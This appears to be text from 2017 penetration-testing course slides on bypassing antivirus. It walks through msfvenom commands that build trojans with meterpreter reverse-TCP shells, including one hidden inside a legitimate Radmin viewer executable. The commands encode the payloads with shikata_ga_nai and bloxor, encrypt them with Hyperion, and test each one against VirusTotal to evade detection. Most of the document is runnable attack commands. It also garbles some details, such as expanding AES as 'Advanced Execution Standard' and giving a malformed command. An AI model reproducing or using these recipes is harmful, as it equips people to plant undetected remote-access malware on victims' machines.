Bypassing Antivirus API Web Application Penetration Testing ‘17

Bypassing Antivirus API Encoding malicious file so that it can’t be traced by the antivirus applications. Highlights – Creating Trojans using msfvenom. Encoding a Trojan. Shikata_ga_nai encoding. Multiencoding using msfvenom. Hyperion.

Creating Trojans using msfvenom Trojan – Malicious/Bad code file. Creating a Trojan handler with msfvenom - Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [host ip] LPORT = [Desired Port] –x /usr/share/windows-binaries/radmin.exe –k –f exe > radmin.exe It will output trojaned radmin viewer with meterpreter reverse tcp shell. This will be used for exploiting windows target machine by running infected Radmin viewer.

Encoding a Trojan Trojan is encoded to be prevented from detecting by antivirus applications. Open kali terminal and type – Msfvenom –l encoders It will list encoders including their rank and description. x86/shikata_ga_nai is excellent ranked polymorphic XOR Additive Feedback Encoder.

Shikata_ga_nai Encoding Shikata_ga_nai is in Japanese meaning “It can’t be helped” Encoding with shikata_ga_nai – Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [Host IP] LPORT = [Desired Port] –e x86/shikata_ga_nai –i 10 –f exe > Trojan.exe Upload the resulting binary to virus total website and check the results. The result will not be much efficient as antivirus developers check for the pre-define metaspoit templates. Results can be improved by multiencoding the Trojan.

Multiencoding using msfvenom In this demonstration, shikata_ga_nai and bloxor encoding will be used for multiencoding. First create an encoded RAW binary with shikata_ga_nai which can be later encoded and output into executable. Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [Host IP] LPORT = [Desired Port] –e x86/shikata_ga_nai –i 10 –f raw > Trojan1.bin Now, again encode the output Raw binary using bloxor encoding. Msfvenom –p –f exe –a x86 – -platform windows –e x86/bloxor –i 10 > Trojan1.exe < Trojan1.bin Upload the output executable to virus total website, results will be far improved but yet not best.

Hyperion – Encrypting Meta Executable Hyperion uses Advanced Execution Standard (AES) Encryption which is current industry standard encryption. {Backend process is much related to cryptography background}. Encrypting Meta Executable: Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [Host IP] LPORT = [Desired Port] –f exe > meta.exe Cd Hyperion-1.0/ Wine ../hyperion ../meta.exe bypassavhyperion.exe Upload the output executable to virus total and check the result.

Thanks